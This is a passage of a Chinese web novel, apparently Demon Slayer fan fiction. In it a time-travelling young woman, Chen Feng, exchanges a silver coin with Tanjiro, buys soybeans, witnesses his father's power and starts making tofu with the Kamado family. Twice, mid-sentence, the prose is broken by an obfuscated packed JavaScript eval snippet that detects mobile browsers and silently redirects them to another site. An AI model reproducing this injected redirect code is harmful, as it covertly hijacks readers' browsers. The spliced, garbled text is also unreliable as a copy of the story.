陈凤对这个一俵的计量单位没有概念,她比划一下范围,询问炭治郎:“一俵,有这么多吗?” 炭治郎伸手将陈凤的手再展开些,道:“大概是一筐左右吧。” 然后陈凤估量一下,一俵大概八十斤左右的炭,而这些八十斤的硬碳卖38钱,但炭治郎性格厚道,交易的时候会给顾客的量更多一些,价格也会打折,其实一俵的炭,也不一定能卖到38钱。 本来陈凤就对这个价格已经很忧虑了,结果没想到炭治郎接着又道: “这只是硬炭的价格啦,软炭和备长炭会更便宜,甚至有些家庭买不起我们家的整炭,只会要些碎炭屑。” 硬木炭是最好的炭,因为烧硬炭的树木都是多年生的大树木,比如青冈木那种质地密实的数,经过1000度的高温烧纸的,这种树砍伐难度大,成本高,但成炭的取暖时间长。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007232|194048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而软木炭就是松树,衫树这种质地清软的木头烧制,虽然这些木材比青冈木好砍伐,但是成炭的取暖时间很短的,所以软木炭卖的便宜,更不要提碎炭屑了。 按照炭治郎的性格……说不定碎炭屑他看人可怜,会赊给人家,甚至送给人家呢。 我的个老天爷啊。 这么一对比,陈凤再次对灶门家的收入有了新的认识,可真穷啊…… “走!和我去银行!” 陈凤拉着炭治郎就走,这回换陈凤把炭治郎拉了个趔趄,炭治郎无奈的看着向前冲的陈凤问:“你别走这么快,你认识路吗?” “不认识。”陈凤停下脚步,理直气壮的看着炭治郎:“那你赶紧带路啊。” 炭治郎能说什么,他只能点头:“是是是,我的大小姐。” 虽然现如今的日元是金本位制度了,银币只能是辅币,但在市场上还是能流通的,原本陈凤想要去当铺将手上的纪念银币卖了,但是想到不论是哪个地方当铺,老板压价都特别狠,陈凤就放弃了。 当然,银行也会收取手续费,但怎么也比当铺实惠。 不过陈凤没想到她会在银行碰壁。 “你这银币,是工艺品吧?这上面的纹路看上去和万邦的龙洋十分相似,但形制却是方形。” 银行的工作人员接过陈凤的银币后打量了片刻忍不住点头,这种成色纯正的银在这个年代是少见的,但银行仍旧拒绝给陈凤兑换。 “为什么?是有什么手续不对吗?” 银行的工作人员看了陈凤一眼,世人先敬罗衫再敬人,陈凤的一身行头无形中给她免去了很多麻烦。 “抱歉啊,小姐,请问您有行户吗?” 这个年头,在银行存款是需要开户的,而想要开户则是需要在银行中存一定的金额,而陈凤别说钱了,她身份都没有,炭治郎就更不用说了。 “诶~” 陈凤拉长了语调,语气中满是大小姐任性的不悦:“这里没法给我换啊,我还想要去买东西呢。” 说着,陈凤挑眉看了眼银行柜员问:“就没有什么办法吗?” 银行柜员十分抱歉的鞠躬道:“十分抱歉,本行暂时无法向你提供服务,不过……” 银行柜员看了眼陈凤,见她一副大小姐的模样,害怕惹她不高兴给自己带来麻烦,便想着将这尊大神哄走,于是银行柜员转而看向陈凤身后一脸朴实的炭治郎道: “您可以让您的仆从到两替屋,去将您的银币换成现钱,那个地方是专门给无法在银行开户的平民兑换钱币的,只不过,汇率可能要比我行低一些。” “行吧。” 陈凤装出一副勉为其难的模样,她不再看银行柜员,而是冲着炭治郎扬起下巴:“那个什么两替屋,你应该知道在哪吧?” “是的,大小姐,就在隔一条街的位置。” 炭治郎特别上到,他对陈凤深深鞠躬,做足了姿态,看得陈凤差点笑出声,但是这里还有人看着呢,她得跟着演。 “哼,那种平民去的地方,我才不去,一会儿我去街角的和果子铺等你,你去给我把钱换出来。” 陈凤一边说着,一边往银行门外走,而炭治郎也紧随其后,特别恭敬的应是。 “是,大小姐。” 等到两人出门之后,纷纷憋不住笑了起来,并且互相看着对方嘲笑真是戏多。 “噗,你还装啊!”陈凤看着身边依旧低眉顺眼的炭治郎,忍不住戳了戳他:“不会真打算当我的家仆吧?” 炭治郎这才直起腰板,无奈的冲着陈凤摇了摇头:“明明是你演的很开心。” “胡说,我哪里演了。”陈凤不满的叉腰,反驳道:“我本来就是大小姐啊。” “好吧大小姐。”炭治郎敷衍道:‘看一眼时间吧,再不赶快就要天黑了。’ “啊,对对对,赶紧的,咱们换了钱,买完东西,得尽快往家赶呢。” 炭治郎看着陈凤急匆匆往前走的背影摇摇头,他高声提醒:“你又知道怎么走了?” 陈凤:“……” 为了掩饰尴尬,陈凤选择嘴硬:“那你还不带路。” 这一次炭治郎没惯着她,笑容真挚,语气阴阳:“哪里,我一个家仆哪能走在大小姐的前面呢。” “哼。”陈凤对着炭治郎伸手,炭治郎立即明白,他上前配合的搀扶住。 “带路吧。”陈凤扬了扬头,略显傲慢。 “嗨!”炭治郎低头,恭敬的回应。 然后,两人又绷不住了,站原地笑得肚子都疼了。他们两个从刚才到现在,一直沉浸在大小姐和家仆的剧本里没出戏呢。 陈凤笑得不行,要不是炭治郎扶着她,她都要笑跌了。 “不行了,快走吧,再不走时间真的要来不及了。” “嗯,我们赶紧走吧。” 炭治郎也知道不能再闹了,他拉着陈凤找到了两替屋,这一次,终于顺利的将陈凤的那块纪念银币换了出去。 在银行时,陈凤看到过银行的银子兑换公价,21.2可能换一块大洋。 但是两替屋的兑换,肯定比银行低,陈凤那枚银币虽然做工精良,但是两替屋只认银价,不看其他附加价值。 陈凤的银币称重时是25克,比她记忆中的多出5克,但两替屋和银行汇率不一样,再加上手续费,陈凤只到手105钱。 陈凤没要大洋,她花的时候还得找零,要零钱更方便。 钱到手之后,陈凤让炭治郎揣兜里,她这一身光鲜,小偷最爱盯着她这样的人下手了,还不如放炭治郎身上。 “好了,我们去哪?”炭治郎猜测陈凤是想要买一些女孩子喜欢的小玩意,脚步下意识的就往杂货铺的方向走,不过没想到陈凤却说,她要去粮店。 “诶,去粮店?”炭治郎没想到陈凤的目的地是那里。 “对,我们去买些大豆回家。” 陈凤算了算刚刚在粮店看到的粮食价格,算来算去,还是大豆更合适,这个季节的大豆便宜,一石大豆要两块五。(一石大概160斤) 陈凤打算买个六七十斤大豆回去,给灶门家改善改善伙食。 顺便,做点豆腐拿去卖些钱。 8. 第八章 第八章 对于打算卖豆腐这件事,陈凤是深思熟虑过的。 说真的,她的确会做更好的东西,比如说西式糕点,比如奶茶,比如各种小菜,但是这些东西,且不说有没有市场,就单说原材料,牛奶,面粉,鸡蛋和大量的糖,这些东西放在这个时代,对许多工人阶级而言都是奢侈品,怎么可能凑得齐。 这个时代的生产力还比不上现代,即便此时的霓虹放眼世界都算是发达的工业国家,但人们的消费水平还达不到吃那些好东西的地步。 再加上霓虹本身就是一个各个方面都十分贫瘠的地方,因此为了生存,这个民族的人会非常苛刻的压缩自己的饮食,霓虹不吃饭,泡菜不睡觉,种花不休假,可不是说着玩的。 所以,豆腐这种副食品恰恰是最适合的东西,它是这个时代的百姓们能够消费得起的廉价蛋白质补充来源,而且一百斤大豆,保守估计,做嫩豆腐能出四到五百斤。 这里的豆腐是按照“丁”这个计量单位算的,一丁就是一块,陈凤目测一块大概有一斤左右,大部分豆腐店定价都是6到8钱一块,保守估计,陈凤一块大洋买的80斤大豆能出三百斤嫩豆腐就知足了,如果能顺利卖出去,她能得到两千钱,不算人力,加上灶门家熬豆浆的炭火成本也能省很多,她是完全能回本的。 就算是卖不出去又如何,卖不出去她就留着自己吃,剩下的拿回来控干水做豆干,也能保存好久呢。 生命在于折腾,卖豆腐只是权宜之计,陈凤心中发誓,等到她攒够本了,就带着灶门家去市中心定居,她一定要做洋人的生意!她会说英文,曾经也出国游玩过,了解那些洋人的口味,她就不信,那群大洋彼岸过来的洋人,来到霓虹后,会不想家乡的口味。 再加上现如今整个上流社会更流行西洋的东西,甜点这方面也是有市场的。 再等等吧。 陈凤心中暗想,做事情最忌冲动,她还没摸清这个世界的社会状况,也没有做好市场调研,所以凡事不能急,一步一步来。 “我们回来了!” “哥哥,你和凤姐姐终于回来了!” 听到炭治郎和陈凤到家的声音,灶门家的几个孩子纷纷出来迎接,祢豆子见自己哥哥肩上竟然扛着大袋的粮食,忍不住惊呼一声:“呀,哥哥,你们去买粮食了?” “嗯。”炭治郎摸了摸祢豆子的头,笑得温柔:“这些都是你凤姐姐买的。” “大哥。” “大哥!” 茂带着六太一块扑倒炭治郎的身上,炭治郎赶紧将装着大豆的布袋放下,而后接住两个弟弟。 “茂,还有六太,你们今天乖不乖啊。” 炭治郎一手抱着一个弟弟,笑着询问:“有没有听姐姐的话?” “有!”茂嬉笑一声,而六太也跟着回答:“有!” 原本在厨房帮葵枝做饭的花子听到动静也跑了出来,在见到哥哥后,小姑娘忍不住嘟了嘟嘴,不满的抱怨:“真是的,哥哥要去镇子上为什么不带我去呢。”说着,花子又扭头对陈凤皱了皱鼻子:“还有凤姐姐也是,你也瞒着我,我不理你了。” 因为花子是次女,有祢豆子这个姐姐将大部分的责任承担的关系,花子的性格更加活泼,对陈凤这个新姐姐也十分喜欢,所以她会毫不顾忌的和陈凤撒娇耍小脾气。 “真抱歉啊,花子。” 陈凤上前刮了下花子的鼻头,看着小姑娘警惕的捂着自己鼻子,将眼睛瞪得圆溜溜的模样,陈凤忍不住笑了:“这次我和你哥哥是有事,所以没有带你,等下一次,我们带着花子一起去镇子上玩好吗?” “好吧~” 花子虽然缠人但她不是不懂事的小孩,既然陈凤都说软话了,那她也就不追究了,只不过:“那你得和我拉钩哦,不许骗我。” “当然。” 陈凤和花子拉钩盖章,这个场景让缓缓走来的竹雄看到后,不屑的冷哼一声。 “大哥。” 竹雄看了眼炭治郎脚边的布袋,忍不住蹙眉:“我刚刚听说你们买粮食了?这些都是吗?” “是啊。”炭治郎捶了捶肩膀,对竹雄道:“麻烦竹雄将这些帮我搬到厨房去好吗?哥哥有些累了。” 听到大哥说累了,竹雄先是瞥了陈凤一眼,嘀嘀咕咕道:“真是的,买这么多干嘛,多重啊。”可以等我跟着一块去再买啊。 “还好。”对炭治郎而言,百十斤的重量他可以轻松扛起来,所以也没觉得有多沉,就是豆子的体积比较大,不太好扛。 “哼。” 竹雄嘴上虽然嘟哝,但动作却非常利索,他提着那个布袋,一步一挪的向厨房走去。竹雄比炭治郎小很多,才8岁的他竟然能拖着八十斤的大豆走,就是没有哥哥稳。 “竹雄,我和你一起吧。”祢豆子见自己弟弟如此费力,忍不住想要上前帮忙。 而竹雄完全没听,头也不会的道:“不用,大姐你去帮哥哥倒杯水吧,他肯定累了一天了。” “啊。”祢豆子摇了摇头,她这个二弟总是这么别扭。 不过竹雄说的对,哥哥和凤姐姐在外面跑了一天一定很累了,她现在就去给两个人泡茶。 “谢谢啦,祢豆子。” 陈凤接过麦茶后仰头牛饮,这豪迈的动作让祢豆子看得一愣一愣的。 凤姐姐和她们真是完全不一样啊,她身上有一种洒脱而独立的气质,完全不在意任何人的眼光,真羡慕啊。 “哈,再来一杯!” 陈凤一口气干了杯子里的茶,还不过瘾,她这一天和炭治郎在外面一直跑,饭也没吃,水也不敢多喝,现在终于能放松了。 “真是的,慢一点啊。” 炭治郎笑着摇了摇头,他小口的喝着杯子里的麦茶,眼前一亮:“今天的麦茶好香,是新炒的麦子吗?” “嗯。”祢豆子一边给陈凤再续上一杯茶,一边回答哥哥的问题:“是爸爸炒的哦。” “诶,爸爸能起来了吗?”炭治郎一脸惊喜,他以为是父亲的病有所好转,已经可以下地了。 “……嗯。”祢豆子点了点头,她嘴角挂着笑意,但那笑容中却充满苦涩。见妹妹如此,炭治郎便意识到了不对劲,原本雀跃的心情也慢慢阴沉下来。 “爸爸在哪里?”炭治郎看着祢豆子询问。 祢豆子垂眸,声音轻如羽毛:“在砍柴。” “真是胡闹!”炭治郎噌的一下站起来,他看着妹妹强忍着怒意询问:“他明明知道自己身体不好,怎么还那么不珍惜自己?那些活我会去干的!” 祢豆子抬眼看着怒气横生的兄长,想到了爸爸起来后,强撑着干活的样子,便将当时爸爸说的话,给哥哥又重复了一遍。 “爸爸说,他想尽量帮家里多做一些事情。” 听完这话,炭治郎完全坐不住了,他怒气冲冲的向后院冲去,这让祢豆子非常担心,她嘴上一边喊着哥哥,一边跟着一起。 被留在原地的陈凤眨了眨眼,她犹豫了片刻后,也跟了上去。 陈凤想要看看,炭十郎先生到底是什么样的人。 当陈凤匆匆的跟上灶门兄妹的脚步,找到了炭十郎先生所在之地时,迎接他们的,是一阵强力的风浪。 这股风浪蕴含着灼热的温度,顿时将三小只震慑在原地。 “爸……” 炭治郎想要出声呼唤炭十郎,结果却被眼前的一幕惊得忘记了言语。 炭治郎看到了他父亲的面前,有七颗巨大的青冈木料,被垒成了金字塔形。而后,他父亲高举斧头,那架势他记得清清楚楚,身为长子,他被父亲手把手教导过的,火之神神乐的起手,炭治郎不明白父亲要干什么,他现在就要跳火之神神乐舞吗?但是他手上拿着的不是祝器,而是斧头啊。 然而下一秒,只是一秒!发生的一切让炭治郎三个小孩完全呆住了,只听到一阵“嘎嘣”声,那七棵青冈木尽数崩解,在所有人都没反应的情况下,巨大的青冈木已经碎成了一臂大小,且规格相等的柴。 “扑通。” 一瞬间之内完成壮举的炭十郎似乎是耗尽了体力,他支持不住的倒在了地上,吓得炭治郎和祢豆子顾不得其他,跑上去查看父亲的状态。 “爸爸!” “爸爸,你没事吧?” 炭治郎将炭十郎抱在怀里,而祢豆子则是拿出帕子给父亲擦拭脸上的汗水。 陈凤瞪大了双眼回忆着刚才的一幕,此时的她因刚刚所看到的一切而震惊,她震惊的不是炭十郎远超于人类的本领,也不是震惊这个世界可能存在高武或者神秘侧的元素。 陈凤震惊的是,她看见了,炭十郎先生身上散发出的火红色气场,就在刚刚,那将她和炭治郎祢豆子差点掀翻的热浪迎面扑来时,陈凤只觉得脑子一痛,下一刻,她的眼前骤然改变,原本正常的世界变得不正常起来。 陈凤看到了异于常人的世界,不仅是炭十郎先生身体中喷涌而出的红色气场,这世间的一切在她眼中都变了个模样,树木,岩石,以及所有人,每个人身上都散发着不同的气场,这个变化让陈凤不知所措。 陈凤僵硬的扭头,她看向炭治郎和祢豆子,炭治郎身上的气场和炭十郎相似,也是火红色的,而祢豆子则是浅浅的粉色。可是他们的气场根本不像炭十郎先生那样汹涌澎湃,炭十郎身上的气,如同喷发的火山,又如同阀门失控的水流,不断从身体中往外冒。 陈凤仔细观察,最终她发现,炭十郎先生那不断向外汹涌冒“气”的源头,是在他的额头,额头上的那个红斑,就好像身体的裂缝一样,炭十郎先生体内的宗气就是从那里泄漏出去的。 “呜~” 陈凤痛苦的捂住额头,她感觉头好晕,刚刚凝神观察气场的行为,非常耗费心力。 这个本事的名字叫做……灵视! 这个答案自然而然的从脑海中冒出,也让陈凤反应到了一件不可思议的事情。 陈凤强撑着从地上站起来,她现在顾不得其他了,越发钝痛的脑子让她越发不安,陈凤咬牙晃了晃眩晕的脑袋,朝着卧室的方向跑去。 陈凤的异常自然引起了炭治郎的注意,炭治郎见陈凤脚步虚浮,身体摇晃,心立刻提起来,他对祢豆子道:“祢豆子,阿凤看起来不对劲,这里有我,你去找她。” “好,我这就去!” 祢豆子非常听兄长的话,她立刻站起来去找凤姐姐。 而陈凤已经几近虚脱了,要不是祢豆子及时赶到扶着她,她可能已经摔在地上爬不起来了。 “凤姐姐,你怎么了?”祢豆子看着陈凤苍白的脸,十分担忧。 “扶我去房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没事的,爸爸他是老毛病了,多睡一会儿就好,妈妈昨天也一直在照看爸爸,说是没什么事情,他睡的很熟。” 听了炭治郎的回答,陈凤放心了,她不自觉的用扇骨敲打手心:“那就好。” 而炭治郎有些担忧,虽然陈凤现如今看上去很精神,但昨天晚上她忽然昏睡过去而且还一直发烧,嘴上不断的念叨着一些听不懂的话,他总感觉陈凤的身上是不是发生了什么事,是因为昨天晚上被父亲吓到了吗? “大哥,水我打来了。” 炭治郎本来还想问问看的,可正巧这时,竹雄挑着扁担走了过来,他小小年纪力气却足,两桶水在扁担上有规律的晃动,却不见洒,他来到大哥的身边,将扁担撂下,而后用挂在脖子上的汗巾擦了擦脸,又看到了旁边站着的陈凤。 竹雄有些不高兴,自从陈凤来到这个家中之后,大哥的注意力全被这个女的引走了。这个娇滴滴的大小姐明显和他们这些乡里人是两个世界的,竹雄认为陈凤总有一天会离开这里。 所以他对陈凤是本能的排斥,说的话自然也不会好听。 “喂,你怎么在这里。” 竹雄看着愣神的陈凤,语气满是不高兴:“还有,大冷天的你拿着把扇子干嘛?嫌热?” “竹雄!”炭治郎呵斥一声,他不赞同的看着弟弟:“怎么能这样说话呢。” “哼。” 竹雄偏过头去,一副不高兴的模样。 经过竹雄的提醒,陈凤终于注意到她手中拿着的物品,是漫展上买到的阴阳师周边,安培清晴明同款的扇子。 她也终于意识到不对劲了,她没有拿扇子的习惯啊,而且还是大冷天的,拿扇子出来是装逼吗? 可是……潜意识里又告诉她,这个习惯是正确的,扇子要待在身边。 啊,算了。 想不通,陈凤干脆放一边,她看着炭治郎道:“来吧,今天咱们有好多活要干呢。” “好。” 炭治郎见陈凤没有不高兴,便舒了口气:“你瞧,我今天早上起来,就把石磨洗干净了。” 灶门家的石磨不是大磨,而是一个半人高的小磨,但也足够了,陈凤觉得他们也做不了太多的豆腐,拉大磨还费力气呢,小磨刚刚好。 “哇,真不错,那我们开始吧。” 竹雄看着充满干劲的哥哥和那个大小姐,总有一种自己被排斥在外的感觉。 可恶,明明哥哥是他的哥哥,现在却和这个女人更亲密。 竹雄咬牙切齿的看着撸起袖子的陈凤,他心中拼命寻找陈凤的缺点,并进行吐槽。 而对于竹雄的排斥,陈凤一点都不在意,她见竹雄还在一旁杵着,便自然的招呼他来干活。 “那个谁,你帮我把那些水抬进来。” 哪个谁啊!你这家伙!竹雄快要炸了,他看出来了陈凤根本没记住他名字是吧! 可恶,可恶!等到时候我让你好看! 这么想着,竹雄拎着两桶水,跟在陈凤的身后,虽然全程按照陈凤的指令干活,但竹雄一直绷着脸,不愿意和陈凤说一句话。 哼,我是不会理你的! 9. 第九章 第九章 做豆腐也是一项技术活,毕竟在这个年代还没有食品加工厂,豆腐这种副食产品都是靠纯手工的,因此从选豆,浸豆,研磨,过滤,点浆,这些都得靠经验传授。 所以,这门手艺就和灶门家的炭一样,只要会就能安身立命。 在听说陈凤要做豆腐的时候,灶门家的几个孩子都特别惊讶,也都兴致勃勃的,因为这个年代豆腐也属于是改善生活时才能吃到的蛋白质,为了能吃豆腐,灶门家的几兄妹都跟着陈凤一块挑豆子帮忙。 “凤姐姐,你没吹牛吗?你真的会做豆腐?” 花子最喜欢缠着陈凤说话,所以她其实是灶门家里和陈凤关系最好的,花子跟陈凤的相处最放松,想说什么就说什么。 “嗯,是啊。” 陈凤点了点头,一边挑黄豆,一边回答花子的问题:“等做好了豆腐,第一个给花子吃。” “嗯!我等着!”花子开心的大声应了一句,然后继续捡豆子。 花子对陈凤抱有盲目的信任感,因为花子觉得陈凤这个漂亮的大姐姐十分独特,这种感觉花子形容不出来,反正就是明明大家都是人,但是唯独凤姐姐的一举一动都带着与众不同的腔调。 等花子长大点才会知道,那叫气质,但也不妨碍现如今的花子亲近陈凤。 “切,希望你别说大话。” 对比起妹妹花子,竹雄可就冷静的多,他一边挑着豆子,一边提醒:“这些可都是粮食,要是失败了可全浪费了。” “当然知道。”陈凤挑了挑眉,她的容貌本就艳丽,这一举动让她的眉眼更加张扬,整个人如同红色的山茶花一般,锋利又美丽。 “可我不会失败。” 此刻的竹雄因陈凤的美丽而呆住,他其实一直都知道这个被哥哥捡回来的女的长得好看,不然也不可能迷住家里的大部分人,但因为排斥和警惕,竹雄从没有认真的注视过陈凤。 她真的很漂亮,但…… “竹雄,到这里来帮我一把。” 是炭治郎,他冲着竹雄招了招手,示意弟弟过来跟着他一起抬重物。 “来了。” 竹雄放下手中的豆子,跟着哥哥一块去抬重物了,比起捡豆子这种磨人性子的活计,竹雄更喜欢和大哥待在一起。 炭治郎正在锯木头,按照陈凤的吩咐,他得做一个豆腐箱子,正需要有人帮他一起干。 竹雄看着哥哥那么听陈凤的话,他心中非常不适滋味:“你怎么也跟着那个女的一块胡闹啊,大哥。” “你得叫姐姐。” 炭治郎见竹雄扶好了木头的另一边后,便开始拉起锯子。 “什么啊。”竹雄嘟哝一声,他不再多说了,因为他感觉到了,哥哥是站在陈凤那边的。 “阿凤一直在为咱们家考虑啊。”炭治郎温柔的声音差点就泯灭在了锯子的摩擦声下,但是竹雄仍然听清楚了。 “买豆子的钱,全部都是阿凤出的。”说完,炭治郎看着完全呆住的弟弟笑了:“是不是吓了一跳?我当时也吓了一跳呢。” “啊……她,她自己买的?那么多豆子,为,为什么?”竹雄很不理解,如果是为了改善自己的生活的话,买精米就好了啊。 “你觉得为什么呢?”炭治郎看了自己弟弟一眼,轻声道:“就算是豆腐,那么多,她一个人也吃不完啊,当然是为了多做一些好拿去卖钱补贴这个家啊。” 听到这句话,竹雄瞬间面红耳赤,他磕磕巴巴道:“我,我以为,她……” 竹雄一直以为陈凤是想吃豆腐了,所以就直接买了一大堆黄豆让哥哥扛回来,他先前以为陈凤是什么都不懂的大小姐,所以有钱也花的大手大脚的,却唯独没想到,陈凤是打算将手艺拿出来,给家里人一起受益。 竹雄不知道陈凤的来历,但他笃定陈凤肯定是非常富贵的家庭中出来的,竹雄不清楚陈凤的秉性,但他清楚镇子上的那些少爷小姐是什么样的。 那些穿着制服去学校上学的孩子,体面又干净,和自己这个灰头土脸的卖炭郎家的儿子天壤之别。 竹雄当然没有因为自己的出身而自卑,他只是愤怒,在他和哥哥一起走街串巷的卖炭时,那些读书的少爷小姐对他和哥哥瞟过来的眼神。 城里人自诩文明人,自然不会像村子里的孩子们一样直白而野蛮,看到异类便会扔石头并嘲弄,他们只会互相对视一眼,然后不自觉的远离他,浑身散发出“别过来,好脏啊,离我们远点”的讯息。 竹雄虽然小,但他将一切都看在眼里,他没有哥哥那样包容的胸怀,他只能将这些不舒服压下去,努力不让自己在意。 但其实,还是在意的。 小小的竹雄不少次在心中怒吼,你们凭什么这样看我的哥哥!你们知不知道我哥哥特别了不起!他什么都会,可以在林中抓到最大的独角仙,也会闷出最好吃的饭菜,而且还能搬起很重很重的,连大人都搬不起来的重物!他从十岁就开始养家了,比你们强一百倍! 可是那些城里人不会听他说话,他们只会傲慢的转身离开,而自己也不可能冲着那些讨厌鬼吼出自己的心声。 所以竹雄才对陈凤那么的排斥,在他看来,陈凤一定会离开的,就好像那些城里人一样,干净的,体面的,高傲且嫌弃的,离开这个家去别的地方。 “她会留在这里吗?” 对于弟弟的问题,炭治郎也怔愣了片刻,但很快他便回过神,冲着弟弟摇了摇头:“我也不知道。” “那哥哥希望她留下来吗?”竹雄仍旧追问。 “这不是哥哥能做决定的事哦,竹雄。”炭治郎垂眸,盯着手上的工活,语气清淡:“但我珍惜有她在的每一天。” 陈凤丝毫不知道灶门兄弟之间的谈话,她看着挑的差不多的豆子起身拍了拍手:“好,今天先这么多吧。” 说着,陈凤伸展一番,坐了那么久,她总觉得腰酸背痛的。 祢豆子看着那一盆挑好的豆子,轻声询问:“这些要怎么处理啊?” “这些豆子得泡……嗯,我想想啊,冬天的话,得三个小时,等豆子膨胀两倍大的时候,就可以磨了。” “姐姐!那是不是晚上就能吃到豆腐了?”茂高兴的呲着牙笑,他真的好久好久没有吃过豆腐了,虽然说豆腐比肉便宜,但自从爸爸生病后,家里也很少买了。 陈凤点头:“嗯,今天晚上就能吃了。” 得到了陈凤的肯定,茂扭头和六太一起庆祝:“好诶,今天完成能吃豆腐了!” “吃豆腐!”六太拍手附和,虽然他还有些懵,但哥哥姐姐们开心,他就跟着一起高兴。 “姐姐。”茂扭头看着祢豆子问:“可以做汤豆腐吗?” 祢豆子回头笑了笑,柔声道:“当然可以啦,茂想吃汤豆腐吗?” “想!”茂用力的点头,为了吃到心心念念的汤豆腐,茂可是十分积极的:“姐姐,还有什么活吗?我都可以干!” 陈凤和祢豆子对视一眼,两个姐姐都被这个弟弟猴急的样子逗笑了。 “没有了。”陈凤摇了摇头,她看了眼花子道:“你们两个带着六太去玩吧,之后就不用你们了。” “哦!” 听到没有自己要做的工作之后,三个小孩瞬间放飞了自己,开开心心的等着晚上开饭。 “阿凤。” 阿凤? 陈凤眨了眨眼,她才反应过来是在叫她呢。 “阿姨,怎么了?” 陈凤看着走过来的葵枝询问,其实她心里疑惑,先前葵枝阿姨一直叫她凤小姐,用敬语的,现如今好像忽然变了。 葵枝看着陈凤,微微勾起嘴角:“诺,这是你要的麻布,我已经洗干净了。” “太好啦。” 陈凤惊喜的接过,麻布的孔洞更加稀疏,过滤豆腐更好用。 “这是家里新织的麻布吧?谢谢您。” 陈凤说的非常恳切,说真的,虽然这些豆子是她出的钱,虽然她自己表现的一副特别笃定,一定能成功的姿态,但是当她说出要做豆腐,灶门家完全没质疑,直接开团秒跟的配合模样,让陈凤真的大受感动。 不要说什么买豆子的初始资金,全都是陈凤出的,灶门一家能跟着获利,就应该全心全意的帮着一起干。 恰恰相反,不是这样的。要是上过班,干过团队的都知道,人心齐跟人心涣散差别有多大。陈凤这点可深有体会,人间百相这个词说的可太对了。 有些人,你说和他一起干事业,他拒绝就算了,他甚至会在你忙碌的时候说风凉话,等你真的办成这件事之后,又语气酸涩的说你真是能发财啊,然后背地里又因为嫉妒给你使绊子。 陈凤遇见太多这样的人了,所以做豆腐这件事,也是她在考察灶门一家,真正能深入的了解一个人,一个环境,最好的方法还真是和其一起组队共事。 一块大洋而已,或许对其他家庭而言是不小的代价,但是陈凤付得起。 在这个陌生且飘摇的年代,她必须寻找靠得住的队友,这样结成利益共同体才能最大限度的避免隐患。所以,这一次,她会切实的了解灶门家,看看这里到底能不能成为她在这个世界的落脚点。 “谢什么?” 葵枝伸手,摸了摸陈凤的脸蛋,她那双紫色的眸子总是温柔沉静,带着母亲的温柔。 “不要太辛苦,阿凤。”葵枝看着陈凤笑道:“有些活不适合小姑娘做,你可以多使唤炭治郎。” 陈凤忍不住笑了,她没想到葵枝阿姨这么大气,这是将她儿子赊给自己当苦力了吗? 那我也不好拒绝啊。 “好,我肯定会的!” 接下来的活也确实需要炭治郎来干,等磨豆子的时候,就真的是体力活了。 “听好了,你得三推三停,就是磨三圈,停下来等一会儿,这样豆糊才能更均匀。” 等豆子泡好了以后,陈凤手把手教炭治郎怎么磨豆子。 “一定要把豆子磨得很细很细哦。” 听着陈凤的嘱咐,炭治郎也变得小心翼翼,他嘴上应着好,眼睛死死的盯着磨盘。 炭治郎不光力气大,而且心思细腻,一边听着陈凤的讲解,一边消化感悟,很快就能上手了。 “要一边磨,一边加清水,但是也不要太多哦。” 陈凤看着炭治郎这边没问题了,她便放手不管了,她还有重要的事情呢。 点豆腐最重要的就是卤水啊。盐卤这个东西,跑盐商那里就能买,霓虹四周都是海,这种东西其实挺廉价的,但是陈凤没选择盐卤。 虽然她喜欢吃盐卤豆腐(就是老豆腐),但是霓虹的人更喜欢绢豆腐,也成为嫩豆腐,用石膏点的那种。 霓虹人的牙都不太好,他们就喜欢吃黏糊糊糯糯叽叽的东西,比如生鸡蛋拌米饭或者纳豆,所以他们偏好吃的是和豆腐脑一样软的石膏豆腐。当然,老豆腐其实也吃,但是得是做成改良版的麻婆豆腐。 陈凤既然要卖,当然选择迎合市场啦,嫩豆腐好卖就做嫩豆腐,还是钱要紧。 正好,石膏她这里有,还不需要去买了呢。 陈凤打开了自己的第二个行李箱 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陈凤看了眼盆里细腻入琼脂的豆糊,心中赞叹炭治郎干活真的特别漂亮,他没有一般男孩子的浮躁,干着干着就不耐烦不想干了,全程都是耐心又细腻,而且还又快又麻利。 “歇会吧。”陈凤见炭治郎脑袋上都是汗,知道他磨了这么半天豆子也累了,就让他去休息。 “没事,我和你一块吧,我不累。” 炭治郎摇头,他觉得这点活不算什么,而且这一盆豆糊太重了,他怕陈凤拿不住。 陈凤见此也不勉强他了,让他跟着自己一块,用麻布将那些豆渣滤出来。 好吧,陈凤得承认,得亏炭治郎在她身边了,不然这活她没法做。 炭治郎的力气特别大,如果让陈凤来的话,她得分几次,将豆糊倒进麻布里,一点一点的将豆渣里的浆水挤出来,但炭治郎根本不用,他那双手也不知道哪来的那么大力气,豆糊倒进麻布中拧紧,就攥了几下,豆渣里的水就全挤出来了。 “哇。” 陈凤在一旁赞叹的拍手:“好厉害啊,你干活真麻利。” 被陈凤夸得不好意思,炭治郎腼腆的笑了笑说:“哪里。”而后端着那盆生豆浆询问:“接下来呢?” “煮开就行了,先大火,烧开了再调中小火煮几分钟就行了。” 陈凤顿了顿,忽然道:“那个,你能控制好火候吗?用不用找阿姨来帮忙?” 陈凤想到自己点灶台的时候,差点把厨房点了,不禁开始发憷,用柴火点灶可不好控制啊,炭治郎能行吗? 在陈凤的意识里,这个年代的男性是不进厨房的,因此她不觉得炭治郎会煮东西。 见自己被陈凤小瞧了,炭治郎挑了挑眉,也没多说什么,神情中却带着小男孩特有的,被看低时激发的好胜心,他直接端着那一大盆生豆浆进厨房,然后麻利的点火,升温,开始煮豆浆。 